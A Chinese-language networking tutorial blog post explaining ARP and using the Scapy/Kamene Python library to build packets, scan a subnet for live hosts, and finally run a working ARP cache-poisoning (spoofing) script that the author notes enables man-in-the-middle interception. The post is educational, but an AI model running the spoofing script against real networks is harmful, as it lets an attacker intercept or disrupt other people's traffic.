[TOC]python
首先,先回憶下TCP/IP
模型,從下到上分爲:數據鏈路層、網絡層、傳輸層、應用層,那麼ARP
到底屬於哪一層?有人會說是網絡層,但實際是屬於數據鏈路層,只不過還要爲網絡層提供服務。linux
ARP
的主要用途是IP(32bit)
地址到物理MAC(48bit)
地址的映射關係。別看表面主機知道了遠端IP地址就能夠通訊,實則先要知道遠端的MAC地址(藉助ARP),經過網卡到交換機構建數據鏈路層通訊,再經過上層進行數據交互。git
另外,你可能會了解到代理ARP、免費ARP、RARP這些,其中你都能搞明白他們工做原理是怎麼樣的嘛? 這裏我們簡單回顧一下:github
ARP
請求;ARP
請求報文,用於檢測IP
衝突、硬件地址變動觸發免費ARP;ARP
相反,主要用於無盤工做站,請求物理MAC(48bit)
地址到IP(32bit)
地址的映射;Scapy是一個Python語言編寫的工具,也是一個強大的交付式數據包處理程序,可以僞造或者解碼大量的網絡協議數據包,可以發送、嗅探、剖析和僞造網絡數據包,如端口掃描、路由跟蹤、探測、攻擊或網絡發現等。使用Scapy能夠替代hping、arpspoof、arp-sk、arping、p0f等功能,甚至能夠代替nmap、tcpdump和tshark的部分功能。此外,Scapy還有不少其餘工具沒有的特性,如發送無效數據幀、注入修改的802.11數據幀、在WEB上解碼加密通道(VOIP)、ARP緩存攻擊(VLAN)等。shell
Scapy的主要功能以下:ubuntu
收發數據包介紹:緩存
做爲網工,你是否是常常抓包來分析某協議頭部結構,如今就能夠用Scapy來構造發送數據包啦。安全
在python3的環境下,如今叫法是 Kamene,以前叫作Scapy。bash
pip3 install -i https://pypi.douban.com/simple/ kamene #使用豆瓣源進行安裝kamene
複製代碼
說明:強烈建議在linux環境下安裝及測試(我用的是ubuntu 16)。微信
#安裝好後,直接經過kamene進入,相似python交互式界面
root@ubuntu:~# kamene
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/kamene
WARNING: IPython not available. Using standard Python shell instead.
Welcome to kamene (3.0.0)
>>>
複製代碼
>>> Ether()
<Ether |>
>>> _.show() #'_' 下劃線表示上一條命令執行的結果,經過show()展現結果
###[ Ethernet ]###
WARNING: Mac address to reach destination not found. Using broadcast.
dst= ff:ff:ff:ff:ff:ff
src= 00:00:00:00:00:00
type= 0x9000
複製代碼
>>> ICMP()
<ICMP |>
>>> _.show()
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
複製代碼
>>> IP()
<IP |>
>>> _.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
複製代碼
>>> TCP()
<TCP |>
>>> _.show()
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
>>> UDP()
<UDP |>
>>> _.show()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
複製代碼
#經過 '/' 可疊加多個協議層(左底層到由上層),如Ether()/IP()/UDP()/DNS()
>>> p = sr1(IP(src='192.168.8.128' , dst='192.168.8.254')/ICMP()/b'This is a ICMP packet')
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ IP ]###
version= 4
ihl= 5
tos= 0x0
len= 49
id= 1909
flags=
frag= 0
ttl= 128
proto= icmp
chksum= 0xa088
src= 192.168.8.254
dst= 192.168.8.128
\options\
###[ ICMP ]###
type= echo-reply #收到一個replay包
code= 0
chksum= 0x55ad
id= 0x0
seq= 0x0
###[ Raw ]###
load= 'This is a ICMP packet'
複製代碼
先看下ARP包的格式:
>>> ARP()
<ARP |>
>>> _.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800 #協議號
hwlen= 6
plen= 4
op= who-has #op=1表示Request,op=2表示Response
hwsrc= 00:0c:29:5d:2f:55 #源MAC地址
psrc= 192.168.8.128 #源IP地址
hwdst= 00:00:00:00:00:00 #初始目的爲廣播地址
pdst= 0.0.0.0 #缺省爲空
複製代碼
簡單構造 ARP 請求包:
>>> p = sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))
Begin emission:
.*Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= is-at
hwsrc= 00:50:56:e7:d0:87
psrc= 192.168.8.254
hwdst= 00:0c:29:5d:2f:55 #返回的是arp響應包,獲取到目的映射的MAC地址
pdst= 192.168.8.128
###[ Padding ]###
load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
複製代碼
接下來,我們玩點複雜的。。。
#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公衆號:點滴技術
#這裏有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的。
import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR) # 清除報錯
from kamene.all import *
from Tools.Get_address import get_ip_address # 獲取本機IP地址
from Tools.Get_address import get_mac_address # 獲取本機MAC地址
from Tools.Scapy_iface import scapy_iface # 獲取scapy iface的名字
def arp_request(dst_addr, ifname):
# 獲取本機IP地址
local_ip = get_ip_address(ifname)
# 獲取本機MAC地址
local_mac = get_mac_address(ifname)
try:
# 發送ARP請求並等待響應
#op=1表示請求,op=2表示響應
#當op=1,hwsrc=表示本地mac,hwdst表示廣播(首包),psrc表示本地IP,pdst表示目的IP
result_raw = sr1(ARP(op=1,
hwsrc=local_mac,
hwdst='00:00:00:00:00:00',
psrc=local_ip,
pdst=dst_addr),
iface=scapy_iface(ifname),
timeout=1,
verbose=False)
print(result_raw.show())
#返回目的IP地址,和目的MAC地址,getlayer(ARP)取整個ARP數據包,
return dst_addr, result_raw.getlayer(ARP).fields.get('hwsrc')
except AttributeError:
return dst_addr, None
if __name__ == "__main__":
# Windows Linux都可使用
# arp_result = arp_request('192.168.100.1', "WLAN")
arp_result = arp_request('192.168.8.254', "ens32")
print("IP地址:", arp_result[0], "MAC地址:", arp_result[1])
複製代碼
運行結果以下:
IP地址: 192.168.8.254 MAC地址: 00:50:56:e7:d0:87
複製代碼
#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公衆號:點滴技術
#這裏有靠譜、有價值的、免費分享、成長的,專屬於網絡攻城獅的空間
import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)
import ipaddress
from multiprocessing.pool import ThreadPool #多線程
from ARP_Request import arp_request #返回IP 和 MAC
def arp_scan(network,ifname):
#要掃描的網段
net = ipaddress.ip_network(network , strict=False)
#空列表,存放字符串IP地址
ip_list = []
for ip in net:
ip_list.append(str(ip)) #ip格式轉爲str,放入ip_list
pool = ThreadPool(processes=100) #線程池併發100
result = []
for i in ip_list:
result.append(pool.apply_async(arp_request , args=(i,ifname)))
pool.close()
pool.join()
#存放活躍的IP與MAC的字典
scan_dict = {}
for r in result:
if r.get()[1] is not None:
scan_dict[r.get()[0]] = r.get()[1]
# print(scan_dict)
return scan_dict
if __name__ == '__main__':
net = '192.168.8.0/24'
name = 'ens32'
import time
start_time = time.time()
print("活動IP地址以下:")
for ip , mac in arp_scan(network=net,ifname=name).items():
print("IP地址: {} 是活動的,MAC地址是 {}".format(ip , mac))
end_time = time.time()
print('本次掃描花費時間:%.2f' % (end_time - start_time))
複製代碼
運行結果以下:
活動IP地址以下:
IP地址: 192.168.8.1 是活動的,MAC地址是 00:50:56:c0:00:08
IP地址: 192.168.8.254 是活動的,MAC地址是 00:50:56:e7:d0:87
本次掃描花費時間:14.52
複製代碼
#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
#歡迎關注微信公衆號:點滴技術
#這裏有靠譜、有價值的、免費分享、成長的,屬於網絡攻城獅的空間
import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR) # 清除報錯
from kamene.all import *
from Tools.Get_address import get_ip_address # 導入獲取本機IP地址方法
from Tools.Get_address import get_mac_address # 導入獲取本機MAC地址方法
from ARP_Request import arp_request # 導入以前建立的ARP請求腳本
from Tools.Scapy_iface import scapy_iface # 獲取scapy iface的名字
import time
import signal
def arp_spoof(ip_1,ip_2,ifname='ens35'):
# 申明全局變量
global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname
#賦值到全局變量
#dst_1_ip爲被毒化ARP設備的IP地址,dst_ip_2爲本機假裝設備的IP地址
#local_ifname爲攻擊者使用的網口名字
dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname
# 獲取本機IP和MAC地址,而且賦值到全局變量
localip, localmac= get_ip_address(ifname), get_mac_address(ifname)
# 獲取被欺騙ip_1的MAC地址,真實網關ip_2的MAC地址
dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[1], arp_request(ip_2,ifname)[1]
# 引入信號處理機制,若是出現ctl+c(signal.SIGINT),使用sigint_handler這個方法進行處理
signal.signal(signal.SIGINT, sigint_handler)
while True: # 一直攻擊,直到ctl+c出現!!!
# op=2,響應ARP
sendp(Ether(src=localmac, dst=dst_1_mac) / ARP(op=2, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
iface=scapy_iface(local_ifname),
verbose=False)
print("發送ARP欺騙數據包!欺騙{} , {}的MAC地址已是我本機{}的MAC地址啦!!!".format(ip_1,ip_2,ifname))
time.sleep(1)
# 定義處理方法
def sigint_handler(signum, frame):
# 申明全局變量
global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname
print("\n執行恢復操做!!!")
# 發送ARP數據包,恢復被毒化設備的ARP緩存
sendp(Ether(src=dst_2_mac, dst=dst_1_mac) / ARP(op=2, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
iface=scapy_iface(local_ifname),
verbose=False)
print("已經恢復 {} 的ARP緩存啦".format(dst_1_ip))
# 退出程序,跳出while True
sys.exit()
if __name__ == "__main__":
# 欺騙192.168.1.101,讓它認爲192.168.1.102的MAC地址爲本機攻擊者的MAC
#若是攻擊者沒有路由通訊就會中斷,若有路由就能夠竊取雙方通訊的信息(所謂中間人)
arp_spoof('192.168.1.101' , '192.168.1.102' , 'ens35')
複製代碼
運行結果以下:
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
發送ARP欺騙數據包!欺騙192.168.1.101 , 192.168.1.102的MAC地址已是我本機ens35的MAC地址啦!!!
^C
執行恢復操做!!!
已經恢復 192.168.1.101 的ARP緩存啦
複製代碼
ARP高速緩存表被欺騙先後效果圖:
**備註:**持續發送ARP響應包,設備收到最新的就會更新本地ARP緩存表,因此ARP安全性過低了。
附錄**:
官方學習資源
https://scapy.net/
http://github.com/phaethon/kamene
複製代碼
若是喜歡的個人文章,歡迎關注個人公衆號:點滴技術,掃碼關注,不按期分享